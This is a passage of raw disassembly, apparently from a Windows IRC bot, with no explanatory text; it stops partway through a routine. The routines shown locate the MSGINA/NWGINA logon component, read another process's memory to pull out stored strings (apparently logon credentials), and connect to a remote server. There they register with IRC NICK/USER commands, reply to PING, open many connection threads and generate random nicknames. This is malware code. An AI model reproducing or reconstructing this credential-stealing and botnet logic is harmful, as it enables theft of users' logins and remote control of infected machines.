mov [esp+28h+var_18], eax
loc_4175AE: ; CODE XREF: sub_417493+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_417615
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4175F3
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_4175F3: ; CODE XREF: sub_417493+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_4175AE
loc_417601: ; CODE XREF: sub_417493+10Fj
test edi, edi
jz short loc_41760C
push edi
call dword_4D4848
loc_41760C: ; CODE XREF: sub_417493+170j
mov edi, [esp+28h+var_4]
jmp loc_417582
; ---------------------------------------------------------------------------
loc_417615: ; CODE XREF: sub_417493+13Cj
xor eax, eax
jmp loc_417590
sub_417493 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41761C proc near ; CODE XREF: sub_4172C1+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
call dword_42708C ; OpenProcess
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_417645
xor eax, eax
jmp loc_4177C0
; ---------------------------------------------------------------------------
loc_417645: ; CODE XREF: sub_41761C+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
call dword_427160 ; GetSystemInfo
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_427154
push 8
call esi ; GetProcessHeap
mov edi, dword_427150
push eax
call edi ; RtlAllocateHeap
lea ecx, [ebp+var_8]
mov ebx, dword_42715C
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jnz short loc_417695
xor esi, esi
jmp loc_4177B3
; ---------------------------------------------------------------------------
loc_417695: ; CODE XREF: sub_41761C+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
call dword_427158 ; VirtualQueryEx
test eax, eax
jz loc_4177A2
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_4177A2
test [ebp+var_2B], 1
jnz loc_4177A2
push [ebp+var_34]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jz loc_4177A2
loc_4176F8: ; CODE XREF: sub_41761C+112j
push edi
push offset dword_4D3840
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jnz short loc_417720
lea eax, [edi+200h]
push eax
push offset dword_4D4040
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jz short loc_417730
loc_417720: ; CODE XREF: sub_41761C+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_4177A2
jmp short loc_4176F8
; ---------------------------------------------------------------------------
loc_417730: ; CODE XREF: sub_41761C+102j
test edi, edi
jz short loc_4177A2
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
call dword_42711C ; FileTimeToLocalFileTime
test eax, eax
jz short loc_41776B
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
call dword_427118 ; FileTimeToSystemTime
test eax, eax
jz short loc_41776B
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_41776B: ; CODE XREF: sub_41761C+12Bj
; sub_41761C+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_4D4A64, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4D4A5C, eax
mov dword_4D4A60, edi
loc_4177A2: ; CODE XREF: sub_41761C+90j
; sub_41761C+A2j ...
push [ebp+arg_0]
push 0
call esi ; GetProcessHeap
push eax
call dword_42714C ; RtlFreeHeap
mov esi, [ebp+var_10]
loc_4177B3: ; CODE XREF: sub_41761C+74j
push [ebp+var_4]
call dword_427070 ; CloseHandle
pop edi
mov eax, esi
pop ebx
loc_4177C0: ; CODE XREF: sub_41761C+24j
pop esi
leave
retn
sub_41761C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4177C3 proc near ; CODE XREF: sub_4172C1:loc_4173B9p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
call dword_42708C ; OpenProcess
test eax, eax
mov [ebp+arg_0], eax
jz loc_4178B5
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call dword_427160 ; GetSystemInfo
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_4178AC
mov edi, dword_427154
loc_41780E: ; CODE XREF: sub_4177C3+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
call dword_427158 ; VirtualQueryEx
test eax, eax
jz short loc_41789A
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_4178A0
test [ebp+var_13], 1
jnz short loc_4178A0
push ecx
push 8
call edi ; GetProcessHeap
push eax
call dword_427150 ; RtlAllocateHeap
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call dword_42715C ; ReadProcessMemory
test eax, eax
jz short loc_41788C
push offset dword_4D3840
push esi
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jnz short loc_41788C
lea eax, [esi+400h]
push offset dword_4D4040
push eax
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jz short loc_4178BC
loc_41788C: ; CODE XREF: sub_4177C3+9Fj
; sub_4177C3+B0j
push esi
push 0
call edi ; GetProcessHeap
push eax
call dword_42714C ; RtlFreeHeap
jmp short loc_4178A0
; ---------------------------------------------------------------------------
loc_41789A: ; CODE XREF: sub_4177C3+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_4178A0: ; CODE XREF: sub_4177C3+71j
; sub_4177C3+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_41780E
loc_4178AC: ; CODE XREF: sub_4177C3+3Fj
push [ebp+arg_0]
call dword_427070 ; CloseHandle
loc_4178B5: ; CODE XREF: sub_4177C3+1Ej
xor eax, eax
loc_4178B7: ; CODE XREF: sub_4177C3+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4178BC: ; CODE XREF: sub_4177C3+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4D4A5C, ebx
mov dword_4D4A60, eax
cmp [eax], cl
jnz short loc_4178DE
cmp [eax+1], cl
jz short loc_4178E6
loc_4178DE: ; CODE XREF: sub_4177C3+114j
; sub_4177C3+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_4178DE
loc_4178E6: ; CODE XREF: sub_4177C3+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
call dword_427070 ; CloseHandle
push 1
pop eax
jmp short loc_4178B7
sub_4177C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178F9 proc near ; CODE XREF: sub_4172C1+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4D4A58
push esi
mov esi, dword_427154
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi ; GetProcessHeap
push eax
call dword_427150 ; RtlAllocateHeap
mov ecx, dword_4D4A58
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_4D4A60
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4D4A64
push eax
call dword_4D4844
push [ebp+var_4]
mov edi, offset dword_4D4850
push offset dword_4D3840
push offset dword_4D4040
push [ebp+arg_0]
push offset dword_4386CC
push 200h
push edi
call sub_41C360
add esp, 1Ch
push [ebp+var_4]
push 0
call esi ; GetProcessHeap
push eax
call dword_42714C ; RtlFreeHeap
mov eax, edi
pop edi
pop esi
leave
retn
sub_4178F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417990 proc near ; CODE XREF: sub_4172C1:loc_4173FDp
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4D4A58
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call dword_427154 ; GetProcessHeap
push eax
call dword_427150 ; RtlAllocateHeap
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4D4040
mov edi, 200h
mov esi, offset dword_4D3640
loc_4179D6: ; CODE XREF: sub_417990+FAj
mov eax, dword_4D4A58
add eax, eax
push eax
push dword_4D4A60
push [ebp+var_14]
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4D4844
mov eax, dword_4D4A58
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_417A4B
loc_417A13: ; CODE XREF: sub_417990+B3j
cmp [ebp+var_8], 0
jz short loc_417A68
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417A37
cmp byte ptr [ecx+1], 0
jnz short loc_417A37
cmp dl, 20h
jnb short loc_417A31
and [ebp+var_8], 0
loc_417A31: ; CODE XREF: sub_417990+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417A3B
loc_417A37: ; CODE XREF: sub_417990+90j
; sub_417990+96j
and [ebp+var_8], 0
loc_417A3B: ; CODE XREF: sub_417990+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_417A13
cmp [ebp+var_8], 0
jz short loc_417A68
loc_417A4B: ; CODE XREF: sub_417990+81j
push [ebp+var_14]
push offset dword_4D3840
push ebx
push [ebp+arg_0]
push offset dword_4386CC
push edi
push esi
call sub_41C360
add esp, 1Ch
jmp short loc_417A80
; ---------------------------------------------------------------------------
loc_417A68: ; CODE XREF: sub_417990+87j
; sub_417990+B9j
push offset dword_4D3840
push ebx
push [ebp+arg_0]
push offset dword_43871C
push edi
push esi
call sub_41C360
add esp, 18h
loc_417A80: ; CODE XREF: sub_417990+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_4179D6
push [ebp+var_14]
push 0
call dword_427154 ; GetProcessHeap
push eax
call dword_42714C ; RtlFreeHeap
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_417990 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417AA9 proc near ; CODE XREF: sub_417C61+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CBA64 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_417B25
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB9E4 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CBA24 ; inet_addr
cmp eax, esi
jnz short loc_417B0A
push [ebp+arg_0]
call dword_4CBA68 ; gethostbyname
test eax, eax
jz short loc_417B25
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_417B0A: ; CODE XREF: sub_417AA9+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB98C ; connect
cmp eax, esi
jnz short loc_417B29
push edi
call dword_4CBA7C ; closesocket
loc_417B25: ; CODE XREF: sub_417AA9+1Bj
; sub_417AA9+58j
mov eax, esi
jmp short loc_417B2B
; ---------------------------------------------------------------------------
loc_417B29: ; CODE XREF: sub_417AA9+73j
mov eax, edi
loc_417B2B: ; CODE XREF: sub_417AA9+7Ej
pop edi
pop esi
leave
retn
sub_417AA9 endp
; =============== S U B R O U T I N E =======================================
sub_417B2F proc near ; CODE XREF: sub_401ACD+324Cp
; sub_401ACD+32B6p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_42A088 ; "\n"
push edi
call sub_41C8A0
pop ecx
mov esi, offset dword_4D4A6C
pop ecx
loc_417B47: ; CODE XREF: sub_417B2F+42j
cmp dword ptr [esi-4], 1
jnz short loc_417B65
cmp dword ptr [esi], 0
jbe short loc_417B65
push 0
push edi
call sub_41B9C0
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4CBA34 ; send
loc_417B65: ; CODE XREF: sub_417B2F+1Cj
; sub_417B2F+21j
add esi, 210h
cmp esi, offset dword_4DB18C
jl short loc_417B47
pop edi
pop esi
retn
sub_417B2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B76 proc near ; CODE XREF: sub_417C61+155p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42CDC8 ; " "
push edi
push esi
push [ebp+arg_0]
call sub_41CAD4
pop ecx
mov [ebp+var_20], eax
pop ecx
lea edi, [ebp+var_1C]
push 7
pop ebx
loc_417B9B: ; CODE XREF: sub_417B76+35j
push esi
push 0
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec ebx
pop ecx
jnz short loc_417B9B
mov esi, [ebp+var_1C]
xor edi, edi
cmp [ebp+var_20], edi
jnz short loc_417BC3
cmp esi, edi
jnz short loc_417BC3
push 1
pop eax
jmp loc_417C5C
; ---------------------------------------------------------------------------
loc_417BC3: ; CODE XREF: sub_417B76+3Fj
; sub_417B76+43j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41CA50
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_417BDE
push offset dword_439334
jmp short loc_417C2C
; ---------------------------------------------------------------------------
loc_417BDE: ; CODE XREF: sub_417B76+5Fj
push offset a433 ; "433"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_417BFF
push esi
push offset dword_439330
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_417C5A
loc_417BFF: ; CODE XREF: sub_417B76+76j
push 200h
lea eax, [ebp+var_420]
push edi
push eax
call sub_41BF70
lea eax, [ebp+var_420]
push eax
call sub_417E84
add esp, 10h
lea eax, [ebp+var_420]
push eax
push offset dword_439324
loc_417C2C: ; CODE XREF: sub_417B76+66j
lea eax, [ebp+var_220]
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_4CBA34 ; send
loc_417C5A: ; CODE XREF: sub_417B76+87j
xor eax, eax
loc_417C5C: ; CODE XREF: sub_417B76+48j
pop edi
pop esi
pop ebx
leave
retn
sub_417B76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C61 proc near ; DATA XREF: sub_417E06+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41C500
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4D4A74[esi]
mov dword_4D4A68[esi], edi
push dword_4D4C74[esi]
push eax
call sub_417AA9
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4D4A6C[esi], eax
jb loc_417DE6
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41BF70
lea eax, [ebp+var_2008]
push eax
call sub_417E84
lea eax, [ebp+var_4008]
push eax
call sub_417E84
lea eax, [ebp+var_3008]
push eax
call sub_417E84
add esp, 18h
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_4D4A6C[esi]
call dword_4CBA34 ; send
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
loc_417D3D: ; CODE XREF: sub_417C61+111j
; sub_417C61+180j
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_4D4A6C[esi]
call dword_4CB9FC ; recv
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417DE6
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_417D3D
loc_417D74: ; CODE XREF: sub_417C61+17Ej
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_417D9B
cmp al, 0Ah
jz short loc_417D9B
cmp [ebp+arg_0], 0FA0h
jz short loc_417D9B
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_417DD5
; ---------------------------------------------------------------------------
loc_417D9B: ; CODE XREF: sub_417C61+11Cj
; sub_417C61+120j ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417DD5
push dword_4D4A6C[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_417B76
pop ecx
test eax, eax
pop ecx
ja short loc_417DE6
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417DD5: ; CODE XREF: sub_417C61+138j
; sub_417C61+13Fj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_417D74
jmp loc_417D3D
; ---------------------------------------------------------------------------
loc_417DE6: ; CODE XREF: sub_417C61+40j
; sub_417C61+107j ...
mov dword_4D4A68[esi], ebx
mov esi, dword_4D4A6C[esi]
cmp esi, ebx
jbe short loc_417DFD
push esi
call dword_4CBA7C ; closesocket
loc_417DFD: ; CODE XREF: sub_417C61+193j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_417C61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E06 proc near ; CODE XREF: sub_401ACD+319Bp
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_417E7F
loc_417E18: ; CODE XREF: sub_417E06+77j
xor edi, edi
mov eax, offset dword_4D4A68
loc_417E1F: ; CODE XREF: sub_417E06+28j
cmp [eax], ebx
jz short loc_417E30
add eax, 210h
inc edi
cmp eax, offset dword_4DB188
jl short loc_417E1F
loc_417E30: ; CODE XREF: sub_417E06+1Bj
cmp edi, 31h
jz short loc_417E7F
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4D4A74[esi]
push eax
call sub_41C890
mov eax, [ebp+arg_4]
pop ecx
mov dword_4D4C74[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4D4A68[esi], 1
push eax
push ebx
push edi
push offset sub_417C61
push ebx
push ebx
call dword_427084 ; CreateThread
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417E18
loc_417E7F: ; CODE XREF: sub_417E06+10j
; sub_417E06+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417E06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E84 proc near ; CODE XREF: sub_401ACD+36FDp
; sub_401ACD+3747p ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BF70
add esp, 0Ch
call sub_41C2C2
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul dbl_4276D8
call sub_41D174
cmp eax, 1
jnz short loc_417ECE
call sub_41C2C2
call sub_41C2C2
push 66h
cdq
pop ecx
idiv ecx
push dword ptr loc_438A6C+4[edx*4]
jmp short loc_417EE7
; ---------------------------------------------------------------------------
loc_417ECE: ; CODE XREF: sub_417E84+2Fj
call sub_41C2C2
call sub_41C2C2
cdq
mov ecx, 0C0h
idiv ecx
push off_438770[edx*4]
loc_417EE7: ; CODE XREF: sub_417E84+48j
lea eax, [ebp+var_2C]
push eax
call sub_41C890
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41B9C0
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+var_C], eax
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41D174
mov ebx, eax
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276C8
call sub_41D174
cmp esi, 2
mov edi, offset a__0 ; "-|`_\\{[]}"
jle short loc_417F5A
cmp esi, 3
jnz short loc_417F51
cmp ebx, 1
jz short loc_417F5A
loc_417F51: ; CODE XREF: sub_417E84+C6j
cmp eax, 1
jnz loc_418014
loc_417F5A: ; CODE XREF: sub_417E84+C1j
; sub_417E84+CBj
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C0
call sub_41D174
push dword ptr loc_438A6C+4[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41C890
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
push edi
call sub_41C990
add esp, 10h
test eax, eax
jnz short loc_418001
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz short loc_418001
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276C8
call sub_41D174
cmp eax, 1
jnz short loc_418001
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul dbl_4276C8
call sub_41D174
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_418001: ; CODE XREF: sub_417E84+111j
; sub_417E84+122j ...
push [ebp+var_C]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41CBC0
add esp, 0Ch
loc_418014: ; CODE XREF: sub_417E84+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41B9C0
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
mov [ebp+var_4], esi
call sub_41DEE8
pop ecx
test eax, eax
pop ecx
jnz loc_41827C
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz loc_418173
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276C8
call sub_41D174
cmp esi, 3
jz short loc_418082
cmp eax, 1
jnz loc_418173
loc_418082: ; CODE XREF: sub_417E84+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_4180C4
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276C8
call sub_41D174
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_4180E0
; ---------------------------------------------------------------------------
loc_4180C4: ; CODE XREF: sub_417E84+207j
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41D174
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_4180E0: ; CODE XREF: sub_417E84+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B0
call sub_41D174
cmp esi, 3
jz short loc_418109
cmp eax, ebx
jnz short loc_418173
loc_418109: ; CODE XREF: sub_417E84+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_41814E
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276C8
call sub_41D174
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_41816C
; ---------------------------------------------------------------------------
loc_41814E: ; CODE XREF: sub_417E84+28Fj
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41D174
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_41816C: ; CODE XREF: sub_417E84+2C8j
inc esi
mov [ebp+var_C], ebx
mov [ebp+var_4], esi
loc_418173: ; CODE XREF: sub_417E84+1C9j
; sub_417E84+1F8j ...
cmp esi, 6
jge loc_4181FC
cmp esi, 5
jge short loc_418194
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
jmp short loc_4181B2
; ---------------------------------------------------------------------------
loc_418194: ; CODE XREF: sub_417E84+2FBj
call sub_41C2C2
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276C8
loc_4181B2: ; CODE XREF: sub_417E84+30Ej
call sub_41D174
test eax, eax
jnz short loc_4181D5
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276A8
call sub_41D174
mov cl, 30h
jmp short loc_4181F2
; ---------------------------------------------------------------------------
loc_4181D5: ; CODE XREF: sub_417E84+335j
cmp eax, 1
jnz short loc_4181FC
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
